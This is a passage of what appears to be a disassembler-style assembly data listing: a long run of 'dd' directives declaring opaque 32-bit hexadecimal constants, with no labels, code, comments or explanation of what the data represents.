476B123Bh, 0CFA44F80h, 5FC758D2h, 724D1A5Fh dd 0F02AD60Eh, 1769F5A9h, 0DEE4D370h, 2E05B7B4h, 357693B8h dd 69BF910Ah, 7086B51h, 0BF85C387h, 6C8EDAFCh, 8BC5A86Eh dd 0C4DED6C9h, 54432B88h, 0F203D963h, 0DA75A5F6h, 0DCF6C9D7h dd 44328F89h, 4137A102h, 50C30D0Eh, 0DBF2985h, 0B7176A8Ch dd 0F04969A4h, 0DE14115Bh, 0AA249277h, 4258888Bh, 0F03E90EDh dd 2A73A616h, 880E18E3h, 0D04A430h, 8EE2F24Eh, 77131AE4h dd 0E00E5086h, 5027C521h, 1854FEE3h, 0E58BFFDDh, 0A7D6B02Ch dd 9B742838h, 0D5B0CEBDh, 0B707F4E3h, 8AC87F63h, 66E4FD65h dd 0DBD23E0Ch, 0C3A5563Bh, 0B4DF0BA9h, 60876F4Eh, 0FC4D8724h dd 2CAF6175h, 0DA51B3BDh, 66A8D713h, 0B03AE48Dh, 0A0CFE058h dd 934A89AEh, 0A23D38BFh, 0B4E05142h, 2B5E0A48h, 0F7165B89h dd 2A82E340h, 3AB16542h, 5662C790h, 929BA5C6h, 0D434B6EEh dd 9E1F42AFh, 237A6C30h, 947BC802h, 8B7C12FCh, 24AED516h dd 1675342Dh, 0D22337ACh, 8460C0B1h, 0A97BA1A1h, 26D60C87h dd 9513C2DCh, 3A988C3Ah, 50878075h, 667789A3h, 3662FE6Bh dd 9C54B8F6h, 0C5B027F2h, 3ABAEA09h, 0C879C32Ah, 62C9CB15h dd 8262CAFCh, 0DFE658E6h, 390D1469h, 786D7572h, 6172B377h dd 8A66690Fh, 5717ADFBh, 0AF64B945h, 1289092Dh, 69085435h dd 136C8215h, 0D85DC3Dh, 0FD01FB03h, 26EBA732h, 751A1DE3h dd 0E897CCDDh, 0D4F4599Bh, 0C102DC52h, 0E38E4BC2h, 13FB8B87h dd 34BE512Eh, 517099E2h, 361958DAh, 4BC1B35Ch, 0BD1A0F95h dd 76454F2Eh, 1A26562Bh, 3EA50E46h, 0AC851F0Bh, 9E6B290h dd 675FA54h, 0EE17A07Bh, 0DB3A2074h, 36AD10DCh, 0E4681ED0h dd 0E5BF82Fh, 0C92041D9h, 9B730B42h, 0C2834A9Fh, 6CC73A3Fh dd 203AEC6h, 7F553CF7h, 0B8B475Bh, 0B1B16336h, 376547E1h dd 7A331402h, 35C63497h, 0C6DE9623h, 7CC9B9E4h, 0DF6BE4Ah dd 0A3C62DA6h, 96EB9B79h, 8BC5E52h, 0B0AA3499h, 856E7469h dd 2115BFA9h, 190ECEDDh, 3AD88EDAh, 5B722125h, 0BC26FF5h dd 3C49268Ah, 5C29A0C3h, 2634623Fh, 218381D0h, 3CE47CDAh dd 64A5522Eh, 0EA46E6A2h, 0E53925AEh, 1A915584h, 156A8A27h dd 9730ED89h, 7A913C8Ah, 3BE5DEDh, 46156600h, 65CCBCC7h dd 0D594C825h, 98320DBBh, 0A785CF7Ah, 50360788h, 0A171615Dh dd 1A23CDFFh, 9ED6E9ADh, 0CD82164Bh, 0CC5918A0h, 5F6B34C9h dd 5F59F3C7h, 4436F11Ah, 527A2088h, 79E1DBD8h, 5E8966FDh dd 2092C358h, 685D30F6h, 0D01281F4h, 0C492CA02h, 0E503180Dh dd 0F2150739h, 388C5D71h, 0CE7AEh, 0F5AF09ACh, 0AC1EED74h dd 0D9FBE438h, 75523992h, 7C6242C2h, 7863A368h, 1E18773Dh dd 40C5CF3Ch, 0D49F12DBh, 97914E0Ah, 3499C495h, 0CC3A32CAh dd 5B18AA79h, 24F9CE38h, 85CD5B20h, 93F02E2Ah, 107DF47h dd 9401F518h, 0EA372CBAh, 0EAC406FAh, 993F5E3Ah, 42BAD376h dd 0A32AFD59h, 7D5E4729h, 6716D10Eh, 0A1AF0E59h, 8A36F9CCh dd 2B421A39h, 0CD996DB8h, 669A81A5h, 0D911A63h, 0D4171234h dd 0ACE5034Ah, 0B1D7ABBFh, 0D104AEB5h, 2648F170h, 51D0D093h dd 3E215BC3h, 4EC02CD2h, 0B3379C8h, 4904F3CFh, 384BF162h dd 0B7741857h, 0FF6600B7h, 8EA180Ch, 0FEDD99CDh, 0BE90006Dh dd 1B18EF65h, 0B7480DEh, 0A19844E2h, 0E2E66EA5h, 9BC45431h dd 4FEE456Eh, 0CD0CF081h, 0F9A4E9A7h, 0FFD16E88h, 5C24712Bh dd 7942CF09h, 54B176A3h, 0CF37642Bh, 7D0E17Bh, 12C72E16h dd 51141298h, 86007CFEh, 3EC2393Fh, 3FC4C959h, 0F3D684C3h dd 1B1201FAh, 73A7F9CDh, 96D39066h, 74F5409Bh, 0D5568A4h dd 0A9E64B07h, 0E67F2A75h, 5DB05BABh, 83304108h, 5E6B53E1h dd 0F46F36A6h, 217219ECh, 0C8AE8C08h, 0AB672364h, 0CB525040h dd 0A736BBCCh, 9DA067D9h, 41463FCEh, 19763FD4h, 0A8C9BE84h dd 0C7896521h, 0F8FF4436h, 0F8260072h, 987210CEh, 3E3A9EB9h dd 0D1C74F79h, 337032AEh, 63FF5A7Bh, 0F74FEE43h, 3D178BCBh dd 7F0D269Bh, 1C3FF7D0h, 0C853E0C1h, 0A830597Fh, 0CF391D4Ch dd 0F9DA33F8h, 84CA3915h, 0E276456Eh, 0CE8F03B8h, 0DF6CD1F9h dd 43F146F6h, 45B543ADh, 74B10A0Eh, 0B3CE61DDh, 849562D5h dd 0BD483394h, 53FC61E5h, 0F93A4C44h, 93EF4FF6h, 0A2FA5AA1h dd 68F5ED62h, 6F68C179h, 7524C074h, 0E303BF9Ch, 0D777F580h dd 0F5FF6671h, 6B0BED53h, 46EF9484h, 4FADEC6Dh, 0C6BDC516h dd 0FBDE439Fh, 46453557h, 94635457h, 3A1EBD23h, 986547AEh dd 54F62D79h, 0EB98F7C6h, 9253C272h, 0E574CDDh, 8E520AB0h dd 2D3206DDh, 0C6EFAAB1h, 0FED303B9h, 0FCAEAC46h, 0C9F35D97h dd 0AE2D075h, 3AD1C030h, 5850D499h, 44B04197h, 3EC20077h dd 1CBE8AEAh, 74188F75h, 0D0E1A791h, 0DFC41424h, 2598523Bh dd 47659F40h, 4328883Bh, 2E50FE14h, 741B2542h, 27110485h dd 4CF694BFh, 9090279Bh dd 0A1FB505Eh, 0B892E659h, 0B0B09C81h, 6C1E1D3Dh, 3DB54F78h dd 44C80D62h, 6DC32401h, 0F59D3813h, 0B4010FBBh, 0E8FEBDAFh dd 0C1EC8229h, 0AABE9CD0h, 0FFC3AF4Ah, 456B31A8h, 5ADC2584h dd 55CBB515h, 0F4D47458h, 1D1E7225h, 17A7EDEDh, 9032944Ah dd 0E0D0852Fh, 36D44D26h, 255B0F04h, 82F826E4h, 1F420C94h dd 0D193DD7Eh, 7C8A93ACh, 5FD7975Ch, 58F18B6Eh, 0E2A9003Ch dd 3BE6A10Ch, 9204BB47h, 74AC1042h, 50A18529h, 177111DDh dd 4CD91758h, 0BB0F9E20h, 46C08700h, 63351EEBh, 0A1A65143h dd 986DD6ADh, 40013C69h, 0CB423999h, 1ED9CD89h, 0F78D1DDh dd 0C828D98Bh, 0D4E8DB08h, 362231ABh, 0D7DF58ABh, 0C22C06E7h dd 15297DBFh, 1900C77Dh, 0F71F1841h, 0F7E6BFCDh, 57AAE96Fh dd 97944FB3h, 0F91D936Ah, 4504F424h, 74E7E3E5h, 0AD4D3BF1h dd 5C324EFFh, 604C9BEDh, 0C1A83B95h, 0DADB8C4Dh, 592A609Fh dd 0C96A8DE3h, 0D5358281h, 0BC093C7Dh, 8CF01BDBh, 3AA16F3Dh dd 9229779Bh, 0C20CC2F9h, 0EE5672BDh, 0B36A8B36h, 0E27581D7h dd 0EEDDA1FFh, 0A88D56CFh, 0E08DEAB1h, 87862171h, 495E6F98h dd 3B8B5EE6h, 2C3B8924h, 0E1EC93ADh, 65799F46h, 5D5C22EEh dd 267E8806h, 0CA6C862Dh, 47BAE63Fh, 65804CB3h, 1301D803h dd 89AEC854h, 6EA5C5E4h, 0B7B10A11h, 8AD31CD6h, 6097C112h dd 3111E273h, 0EDC01527h, 0F9EE3F41h, 0F9DA5637h, 0CBDB36C4h dd 476AB614h, 252EBF58h, 96ED3881h, 4A57433h, 0C4B3B6C8h dd 0EDA43C4Fh, 1CAC4825h, 945522E2h, 0F31D3B0Dh, 3FDFAC9h dd 1938F71Dh, 0D7803085h, 0B416ED2Eh, 7C9A3D0Bh, 74224493h dd 0DF66AFCAh, 0CD9DC2Ch, 50F55B63h, 2BB271F2h, 0E71515AFh dd 42E33AC1h, 704D007Dh, 87989B66h, 8CBAAD52h, 5BBEFA66h dd 7DF4D4F7h, 511621EBh, 0D00B7AB7h, 0DF220D5h, 0A9F355A1h dd 75FC745Bh, 5946FB03h, 6F352153h, 4C145E37h, 76F65EA0h dd 0D5AFC4CBh, 0E8496EFDh, 0B3E26D51h, 4296F097h, 3E7D500Ch dd 0CDD4C8FBh, 3ED27413h, 967EF23Eh, 9BE0B218h, 6D8F0BEh dd 235C683Eh, 46A14EBFh, 0C16FC51Ch, 76FC0344h, 0C109F971h dd 57C55187h, 0CBC4A1D4h, 616C5682h, 65562A7Fh, 0C258E819h dd 9D26F54Eh, 365537BBh, 19E7BE1Fh, 0A566074h, 159015FFh dd 0D3237611h, 6500C48Fh, 8116032Bh, 4C41CE25h, 136E4DD1h dd 0F7F351E7h, 3CE561DAh, 2FC1D1DBh, 1B509948h, 597EDA20h dd 887D2179h, 0C3197DF7h, 0CE46DF85h, 64E5E13h, 0BC3D49A5h dd 24EDA2A8h, 313548EBh, 0CB21FFC4h, 52A09378h, 49C3CD6h dd 0B5A02048h, 0C12EB97Ch, 0ED6A3420h, 7043E083h, 0FC2463DFh dd 0E1F26BCDh, 0CD5C4034h, 0B1E7974Ch, 386F132Dh, 0D5FFD2C0h dd 937D51ABh, 9FE4848Fh, 5D2C91Dh, 1484AA70h, 0FB7852B1h dd 76C2CD30h, 7E27CE73h, 6359C870h, 31073375h, 0CA199F03h dd 0D93715C2h, 0AAAA9785h, 6364B00Ch, 0F1DCDBB1h, 0BAF530Ah dd 0B34539FCh, 86B395FCh, 7E19545Dh, 9344036Fh, 5F9FB09h dd 497DBEAFh, 76B597B0h, 5695C326h, 0F8D71B61h, 9876E607h dd 0CBD42DF1h, 93AE7CD1h, 80C2AFCAh, 220E56EBh, 1B95E774h dd 3CC5951Ch, 530C7FADh, 52128731h, 0F16C8F84h, 448CA4B3h dd 38BD009Ah, 104AE473h, 9AC90C9Ch, 70DF3B6Ch, 4B605662h dd 0B0A28880h, 644093A9h, 91F634Ch, 4EC54577h, 5A6F893h dd 9A844241h, 8E37D009h, 4C965C01h, 0DB911863h, 8331426Eh dd 0FC64C26Dh, 1B890BAAh, 8CB01434h, 5CE07B26h, 5597A425h dd 0B6243597h, 0AB1BA459h, 14C101F2h, 0F6F557DBh, 78CEBEFBh dd 7CCAF69h, 0B5F56B8Fh, 1D481AE8h, 80257755h, 4F6041Bh dd 3FCA7255h, 2F2A4F05h, 8A3D2D7Ah, 1AC56C36h, 7C2EF98h dd 0B8451C39h, 0EC3BC2E5h, 0E7360DF7h, 8E594C1Bh, 48E53719h dd 0E80564DDh, 0FF514E4Eh, 0B96C8D2Bh, 7E1E2875h, 0E5926F79h dd 5A35833Ch, 0D8C9F3A4h, 5DA1EA5h, 55CE8AA2h, 0F3AD9EDAh dd 57814B94h, 26E47852h, 4E277021h, 67F76FEBh, 25E7E521h dd 0F222810h, 0D2E0D1FCh, 6E84C384h, 6A41E094h, 5F9D175h dd 0B14D70D8h, 83F43A09h, 49F0EBDDh, 495FDA4Dh, 4AEC4177h dd 67BAEBBAh, 0C500EE49h, 1CFFD6D6h, 2241C817h, 2C714DAFh dd 0BE35A5F3h, 0ED4180ABh, 0BAA83AC1h, 0CC57406Ch, 3167D8ADh dd 0C23EC271h, 3FE6EE3h, 0F6EC9B17h, 0BDDB28BAh, 2D714C45h dd 0B6C6791Dh, 8CC8B918h, 450C91EBh, 0F966B5F1h, 0B537174Dh dd 0A5A655DBh, 5382D34Dh, 672D6390h, 740D9384h, 72FED6A7h dd 8BF27B34h, 0F4336936h, 95FA6022h, 759CAF79h, 3C89B433h dd 5AC3C130h, 0C6A4E070h, 5DD7414h, 0E6712D9Fh, 0FD001233h dd 43BB9B4Fh, 0A67AED8Eh, 56C887BCh, 0DA3001BDh, 9768BAEDh dd 93BC0672h, 3982CCA4h, 23AF0D53h, 8CF648BDh, 94953DE4h dd 0FBB5C516h, 480168C6h, 0C1B14D53h, 0F983585Ch, 0CC0908A8h dd 57912FE4h, 21A71785h, 0FDE5B9D2h, 0C2D4AF38h, 0C93BD01Bh dd 0D37EB357h, 0F001F104h, 0F65D306Ah, 927C84C1h, 64342526h dd 0B64B1021h, 0ADEFB08Ch, 0D7432C47h, 6581C6EFh, 0D8C55240h dd 86CC6075h, 0D880675Fh, 0B26D12ABh, 84776E24h, 4D78C7E7h dd 0CBCF574Ah, 993DE5DBh, 0FD19E6Dh, 0F222B447h, 113E959Dh dd 97950FFAh, 5EE35A4Bh, 703DD64Fh, 0FE9F088Bh, 53C8C4F1h dd 50980DBDh, 0E0A2E5E2h, 6FDDD4D8h, 9DB5B316h, 0AB8A4B73h dd 6B3875ABh, 0F054130Eh, 0EFE4D9BFh, 0C6C8EB4Eh, 4E4D6DEDh dd 0CB3610B1h, 45618F1Eh, 0FACFE28Dh, 20BF1926h, 66B5F4E3h dd 2E85E10Eh, 722F5D5Ch, 0E1DC01EBh, 0D021C641h, 9CAD991Ch dd 847BF48Ch, 6532AA8Bh, 0A3DAB99h, 0BC044CEEh, 934FBFEBh dd 2A974170h, 8E6A5FB0h, 88BAF17Fh, 2ADEF244h, 0FB54EE16h dd 11523661h, 0F7865F73h, 34154A13h, 0A77C25C5h, 9E062001h dd 93E299F1h, 11190C71h, 0E252B74Dh, 7020F72Eh, 9B4F4BB0h dd 4C372CBBh, 44D75697h, 106C9C66h, 223E1C2Fh, 8663228Dh dd 1668DDCCh, 58129973h, 43D99F7Ah, 7E510D22h, 0B5B47C82h dd 2AC0D609h, 74B6DC8Dh, 0EB296797h, 0DB39C291h, 3F6DD787h dd 0DB539EEDh, 6D8C772h, 563CE839h, 0C8E6F3ECh, 0FC70F156h dd 40DFBFFAh, 0C8DB7E1Eh, 8894583h, 0EF921EAEh, 19E50994h dd 6E5BC32Eh, 6D4C9B8Dh, 6A6FA42Ch, 0CB6570ABh, 4B9C8DFAh dd 0A4189C8Eh, 0B9FF026Ah, 82413D26h, 627BC3D6h, 79873948h dd 601DEA46h, 74FB0420h, 6ABEBEA1h, 0D5196221h, 7C21E0FCh dd 340D6241h, 0A581946Ah, 0A8BF308Dh, 3D4DC693h, 0E28645C6h dd 4A768BC2h, 279A2846h, 5DA6042Dh, 0B9024AC8h, 241DD84h dd 29110DACh, 0DBEB0DFh, 765B00EEh, 0B7EA6256h, 91C34EF2h dd 2D8CA27h, 3114A4B2h, 0A37FCC33h, 0A80666FFh, 0A134C568h dd 25BC9639h, 0F8849DCCh, 0F082101Bh, 6E4BECEAh, 8C16ED24h dd 0C9FA99E9h, 0F6D5684h, 8DFA53C7h, 19472941h, 0C5ECB2AFh dd 2AD82EEBh, 0C5975BCEh, 10BD181Fh, 0EB0D2BAAh, 0DE19DD1Ch dd 2BAC8DDAh, 644C8CC8h, 8DDD0E44h, 0A7A74425h, 7E3B18FEh dd 0DCA4F15Eh, 772F4DA7h, 0E159126Ah, 33061EBDh, 437BE3F2h dd 0CD8E1F92h, 0DD759372h, 0A194B5B0h, 384A7F2Eh, 5EAB5B73h dd 5F91517Fh, 70A7A74Fh, 53A3F251h, 0FE459403h, 0F4B1D073h dd 0B5EA7CBEh, 5FF103DDh, 0F37DCAE2h, 39C9DD85h, 55DDDC4Bh dd 193D048Ch, 27D2293Dh dd 7D7E1609h, 75DEA55Fh, 97CCBE85h, 0D28B95EAh, 0A1AEED8Ah dd 7A1D1474h, 0DAC68EF9h, 0A304DA2Fh, 10828EE3h, 838A30D2h dd 192EAFBBh, 9209B8EFh, 21B7EB46h, 7B42D3CAh, 1D3E5C29h dd 1F545976h, 74D7024Ch, 0A4E6784Eh, 8F2F8D2Dh, 0EC335296h dd 1F46F75Dh, 0BD977B0h, 56AA7DAFh, 0DB2F5505h, 4D749185h dd 59A49626h, 39CF44F3h, 125175AFh, 0E1C53AB6h, 70311CB9h dd 0EB5B60A2h, 3814505Ch, 0A410AF30h, 0AEAA88DFh, 0C6FDA533h dd 481BFFF8h, 524FA9B2h, 42BBA585h, 0F126A2A9h, 4C3E2546h dd 76A60B1Ch, 0F486053Eh, 0C1B44F6Dh, 0FADD759Ch, 22A3A941h dd 383508D4h, 0DF8F9D81h, 0AA568E85h, 5C810A37h, 0DC2791B0h dd 5F92F5AEh, 8DC7B373h, 0BA6E6A35h, 6EFFA2BEh, 94A6CB58h dd 2DA447F3h, 30CFA347h, 0B7C0DDC4h, 7EE80EBh, 0AFE10C0h dd 3367013Fh, 72446696h, 0B23AF723h, 0CDEF5C03h, 5109B6ADh dd 0F8ABD795h, 0DFFAA2B0h, 0A6B906FBh, 6F9F1799h, 6B166F53h dd 8089C6AEh, 0DC6C60B0h, 8321E656h, 0AA1D00F7h, 4E6580A1h dd 4BEA1651h, 75AD368Bh, 0E26D6306h, 0F8A40D99h, 5625EA4Dh dd 1D8E99E0h, 0D4FCB685h, 0CC22AF8Ah, 16A85699h, 0E26AC5D7h dd 1A5B2F59h, 5C2B542Eh, 0BA158F7Ch, 0B21321DFh, 0C38201A9h dd 0A068CE08h, 3D26B910h, 0C4337DDDh, 0D039EC01h, 98EF2D67h dd 0B475DFEFh, 0EDD02AB9h, 0B86115C9h, 0AF9EBCF7h, 6C9FA4A2h dd 0A56430A9h, 333A2A5Bh, 18FC2676h, 721B47BDh, 586D7DD9h dd 0B56D8C2Bh, 0F8E377B7h, 0A2864321h, 0FBE99DD1h, 85E6A57Ah dd 6FDDCC38h, 0F9241BCCh, 0DFAFD34h, 827B6C93h, 0E7DD57B5h dd 0F040B346h, 19E2DECDh, 390BC98Fh, 1DA62BBAh, 0F98B84DAh dd 0B6B683h, 89FBD052h, 472A0E29h, 79EA9F04h, 0EFBA6DADh dd 93F454F1h, 9F19CEC7h, 76C07CDEh, 46A0169Fh, 747180B0h dd 0C9FA7923h, 5E329AB4h, 0DA0754CEh, 0B0FD71D2h, 0C4C3201h dd 9BFD13CAh, 321302Dh, 2C3484BDh, 26C13356h, 80365C21h dd 0AA420949h, 93326EF8h, 85A6E715h, 0C0BE9D6Bh, 0A50A7450h dd 6F2CD459h, 0DBC7D532h, 66AE7EA8h, 98A25E25h, 732C10FEh dd 761ED1C3h, 1147E8E2h, 0F5D4C2DAh, 0AB9C5AE5h, 80805AFCh dd 0DC75979Bh, 28E7ECBDh, 81B713F3h, 0F011E61h, 69285737h dd 93C22F4Eh, 5CBAE8D2h, 2C4A2EDFh, 5063BEC8h, 4078C9CEh dd 56D43651h, 0D5D56548h, 2EF86FF2h, 9A8D8B98h, 8AB8B72h dd 9ECD197Ch, 0DABB19DFh, 84AC1FFDh, 60E9E227h, 0ACBA18D4h dd 0D351C701h, 0B521FB12h, 87D2D951h, 0B9116DC6h, 0FE72C8DDh dd 538E10E1h, 49ED364Ch, 5565B08Fh, 353C453Bh, 166DF8CEh dd 0F8F9EBDAh, 0D4E706A8h, 2366BE7Ah, 0CCF7C60Fh, 10488B55h dd 900628CCh, 418373F0h, 0E4A10801h, 168D1513h, 0A68A14EAh dd 0A8AF559Eh, 0B06AD09Dh, 30F6BE7h, 56541C3Dh, 8B57A101h dd 0DCB7C13Fh, 48FD2382h, 4E72C62Ah, 0F4259232h, 0D9EFE95Eh dd 0BB096F4Fh, 0AC547200h, 0B965C54Fh, 0B19DCDA7h, 2EA8A97Ah dd 0DE5D9FE0h, 0CA466E82h, 770F1394h, 0C8B66AC0h, 6FFA725Bh dd 0FC63586Eh, 9E6DEFh, 2DB130FBh, 6E2B1682h, 0C14509A6h dd 5DA32C5h, 23C7062Ah, 0A55B4DD3h, 25A9C62Ch, 0B51D104h dd 962AF28Ah, 0BEBA1756h, 0ABEB1B77h, 2CE30883h, 92FC3E99h dd 0F24B09E6h, 18A3B8FAh, 9D6AFC79h, 0E6E4CE4Bh, 0E4CB5722h dd 6537588Eh, 9B83FD0Eh, 0CA1B1CE6h, 7413E22Fh, 0EC115E62h dd 5234B2DBh, 0E9E142E0h, 2DE3D8F7h, 0D5AF3884h, 81D3928Ah dd 0A3EA8358h, 1B91FB69h, 149CE815h, 4DB085A0h, 0D2F59EE2h dd 36FA2EB7h, 0DDF913Ch, 0FE1B44A0h, 36AC99Ah, 0B4C1C9D5h dd 6BC06E8Eh, 7976DC55h, 74ACECAAh, 0F7F451C3h, 19182A93h dd 67BEC2C8h, 0F5731554h, 0B9DBC8C1h, 0C4A721B5h, 821EB240h dd 0E1C7E110h, 19953B85h, 32E39699h, 2F39FAE9h, 0D0D17DD6h dd 26AB5A62h, 90C7204h, 6A68737h, 0FA139E1Fh, 0A5154447h dd 2E74F90Ah, 4CEBC048h, 4DFD5C7Eh, 3A5577DBh, 0D8DD7D82h dd 0D5CB275Bh, 0D8FD5A0h, 618ED070h, 0B08A33C8h, 0C2550866h dd 0FBE6BD91h, 5F1D10B0h, 22A2967Ah, 0DB1DBBBBh, 9E7B4387h dd 0E80C9601h, 27DADD67h, 0C8EF1988h, 3FA9899Ch, 9E4195A2h dd 1F55B380h, 21518CCh, 0B4159B6Ch, 0DB1296D8h, 3EDCC5B7h dd 0DFA0CCB2h, 8B13D2DBh, 6AFA8A86h, 10375639h, 443D67B7h dd 46EE9D19h, 9E9BB007h, 7B8D4A83h, 9F7A2381h, 0BC54AB91h dd 0B25C8B1Dh, 0E9CD4BDBh, 0E71D96FEh, 21BFBFC1h, 10955A44h dd 9F61F64Eh, 2756D93Eh, 9FB701E5h, 2AA9E2C5h, 6304FDC9h dd 171D011Ah, 76035C0Ch, 0C380A1A0h, 40B84E22h, 1F1B1685h dd 33D29557h, 0CF8893A6h, 4FA2446Ah, 0BD348F7Eh, 13AC8CA0h dd 991FCAF3h, 97189D03h, 0F97DDE6Fh, 0E9F93561h, 0C7FFF1A2h dd 765F0B74h, 5BCFB7CDh, 0F1F0A6BCh, 40B9E080h, 0E1ED6E3h dd 0ADE08D85h, 1096C3ECh, 0D579E1F9h, 0BAB715DDh, 809457F8h dd 0E4EFEF54h, 7CF56DE3h, 0C64C07EBh, 58F478BDh, 736B09FCh dd 15CF1E00h, 79E659F5h, 6B51BC01h, 3688CA8Ch, 53C0D97Fh dd 23A133A5h, 609E6A53h, 7AE48119h, 3475F73Fh, 40860A2Dh dd 0DE7138C0h, 0C737138Fh, 2BF597Dh, 0EEB3AF94h, 53DFB5D9h dd 2043147Fh, 0EF407CFBh, 2EE1FF7Ch, 0BE342479h, 5D5E8BE8h dd 77BEE88Ah, 1F679B1Dh, 1541DE34h, 53AFA68Bh, 6507B81Fh dd 0F143751Ah, 926E01F7h, 349DF477h, 3937294Ch, 0E245ACE6h dd 0D84D20Ah, 96CD0599h, 418FE157h, 0A27A0624h, 7AB4C276h dd 0FC611C6Bh, 18999CA5h, 73D24C19h, 33797A9Dh, 855071FFh dd 0F2A66B80h, 68D3124Bh, 799AFFC6h, 5F1ED214h, 61620303h dd 4DF3A45Ch, 4C6E71F4h, 5B9F92F1h, 49BFCF22h, 8F0BC006h dd 3013CE5Ah, 91B31A0h, 7878DB74h, 0CE189265h, 0E58C9AB2h dd 0C29CF372h, 0EF383503h, 2CD5377Bh, 611CF364h, 6BAA72F1h dd 54624204h, 84425C72h, 4DF7363Dh, 1420F1FBh, 0D93C8BD3h dd 0F4806179h, 70D9FD1Dh, 0BFAD388Eh, 19147AFCh, 275EB68Ch dd 10B80AD3h, 0A4FED7CDh, 978F5F25h, 16B0683Eh, 32A7FF5Eh dd 0B5E1CB40h, 87237CCDh, 62C9388Bh, 203E0A53h, 7849245Ch dd 0BE6CBCB5h, 0A3143A4h, 1B77E13h, 505D2733h, 8F6C7FB8h dd 0ED583CA0h, 0A4DB0C38h, 992B6058h, 7235EC50h, 0B6C009D1h dd 7F4734C7h, 96C5BB7Fh, 0FC5021EFh, 114796DBh, 5A7622D9h dd 1D113E62h, 84B4AA86h, 608DB449h, 3DCF933Dh, 9D96BAFBh dd 997AC07h, 777E8198h, 6CCCBAA8h, 0B4D43EE6h, 0FA9713F8h dd 0F214A8F8h, 0A3C69F5Ah, 0E69371AFh, 8624F27Ah, 2BEDDBC2h dd 92475636h, 0E375569Eh, 0F9EA6922h, 0C431085Fh, 96CCAB19h dd 0A5EF7ED9h, 0ACC827C2h, 0A9493451h, 1F4FCC7Eh, 7763105Bh dd 0DB0AAD34h, 8F94DC2Fh, 0C6AA6666h, 83D159DDh, 2C98BE2Eh dd 9A67F928h, 5628E172h, 0EBCC91DAh, 0ABB90381h, 64E7C97Fh dd 0B6F724F3h, 1020245Bh, 1F58DEFCh, 8AA20ABAh, 0E30791FFh dd 0CAD4685Eh, 54DF4966h, 91F5031Dh, 0FC3FCDB1h, 0EC98908Bh dd 9BCDF4h, 99F07F52h, 609674C4h, 0DCBE1704h, 0E557895Eh dd 0DFCC26A5h, 1A33640h, 21A69967h, 0C037FE3Fh, 1F065365h dd 0E9E91775h, 9B16E4B4h, 0B92487DFh, 96769382h, 4913569Ch dd 81279EBh, 226ED93Eh, 5B172326h, 0B37B30BAh, 24CE2953h dd 30277ACAh, 62A4DAD7h dd 0F5FEDBD7h, 0F3EE4E20h, 880F8BAFh, 0F630F781h, 83069582h dd 0BCE9583Bh, 0FFA7930Ah, 0A35728CAh, 0EEA7DC45h, 6F698A9Ah dd 524E1B55h, 56AA70F3h, 78E28CF7h, 0CC1193D4h, 7415422h dd 392F470Fh, 6A46FD0Ch, 77F221C4h, 130E2CA1h, 0A72DE094h dd 0A8709607h, 7722653Dh, 70D98503h, 652125CDh, 0EDCF41F3h dd 1A0E5A9Fh, 9DC40D64h, 0F49ADB3Ch, 0F15E094h, 479DAAEh dd 0F74B777h, 71C0F3C4h, 1CE17DE0h, 0C53BB09h, 0B66D7D3Bh dd 0E1AB0AC4h, 0EB0179BAh, 1775735Ah, 5049B653h, 40D1E025h dd 0C9A4026h, 20BA4044h, 8A5181F1h, 1052134h, 31C99793h dd 0C1D866A8h, 0A6A02B18h, 50F69D3h, 0E5EBA6C0h, 53AF8BECh dd 0E8DEDACAh, 0A045F6E9h, 9BCE135Fh, 19C69DBFh, 0D9490C2Bh dd 2FA18E8h, 335B5859h, 0C00DEAE5h, 0D40F39F1h, 0F0E10A43h dd 922EDF76h, 8212446Ah, 0CE75A963h, 0F78BCB8Fh, 357963CDh dd 9EBCE63Ah, 432C5110h, 2062B9A5h, 2F4E2E37h, 0D6CE12DAh dd 0E346D044h, 69ACCF92h, 76101EF7h, 3349CA96h, 9054FD05h dd 0B2CB0EB5h, 0A04225D3h, 0ED07E376h, 0D12E1A0h, 43C84BECh dd 0F45D1FC7h, 0F79601F8h, 6B3AC0CEh, 33CB9BF4h, 0C7678C37h dd 0BF89D2ACh, 7763AB3Ch, 72C9FEF6h, 7866F9A8h, 869E00F0h dd 0BEFA4240h, 1C06575Dh, 572417FAh, 282D23B8h, 0B29E897h dd 0D3CD6687h, 4CE2F2C8h, 49B99105h, 5B1847F6h, 4391438Eh dd 89CCFE1h, 0E774A53Eh, 9C91487Eh, 1838E322h, 8CF68B34h dd 7001139Bh, 98896A2h, 2FC6DA6Eh, 107F5660h, 0F540C9h dd 0CEA57CF6h, 69EC6FD3h, 0D02DD964h, 636F5C44h, 2F3DBDF9h dd 260A435Dh, 0A99420DDh, 0E9FD9FC7h, 7E4B1560h, 0B80DB36h dd 767FDD93h, 32385FECh, 0C7D9C439h, 9128BC5Dh, 5897C20h dd 72D7D43Fh, 87A07A06h, 2C2D9A12h, 12069D21h, 1C1F3174h dd 0DADF4DE3h, 62A434B5h, 0BADA1D39h, 0CF571312h, 0D787AFA2h dd 5BB9EA4h, 3CB7648Ah, 74AD15ABh, 530EED86h, 0B1054C0Dh dd 1E748CD8h, 8D26332Dh, 544B23Ah, 0F45DD6DDh, 0D43CA7B7h dd 16E66F52h, 0EEA34093h, 3DF6376Fh, 0ADD25709h, 46159043h dd 0FBCE1C88h, 0D94C36AAh, 0D01CBE0Bh, 6E533074h, 73206503h dd 8E0F9D27h, 0E64CA1CFh, 1F1DDE99h, 9C2AD61Bh, 0E5C480Ah dd 2E669EB3h, 0E325FB7Bh, 4580A76Dh, 0CCE4EB43h, 0EE573E70h dd 17BD4D70h, 0F4434228h, 84F51B40h, 0CF52CB54h, 0E6BCBFCDh dd 0D4944CF6h, 0AD445D9h, 0D6084FB9h, 1B7A2370h, 586BDC4Dh dd 361D67B6h, 0E21D747Ch, 7CA6485h, 0A5B57F3h, 0DA5971CAh dd 1D7B8DBAh, 51E87CABh, 0EFF5CC8Bh, 990E87B0h, 0F3EA8B9h dd 43D43996h, 0DD00F50h, 0B3B3C589h, 81681C4Ch, 94222DEEh dd 0AD838153h, 0BD7DC9EFh, 6169412Fh, 25526763h, 0FCDC02B7h dd 0ED552FC8h, 774ECB79h, 913E5079h, 6A842792h, 170D0ECAh dd 0DFAEF8Fh, 6BA8E4DEh, 0C7796CD4h, 570CB528h, 4A51E86Dh dd 0A75D3B30h, 0F32201Dh, 0E2475DA2h, 0FC3764BAh, 0D01E96Eh dd 0B63B4128h, 7F717F62h, 5873D1E6h, 5A674499h, 97A8BA4Bh dd 0B513A79Bh, 446E52F1h, 6EA5B3EFh, 0B54E2784h, 0A33A182h dd 44BC5108h, 4A1C27FBh, 1E5B6271h, 5DBF45DFh, 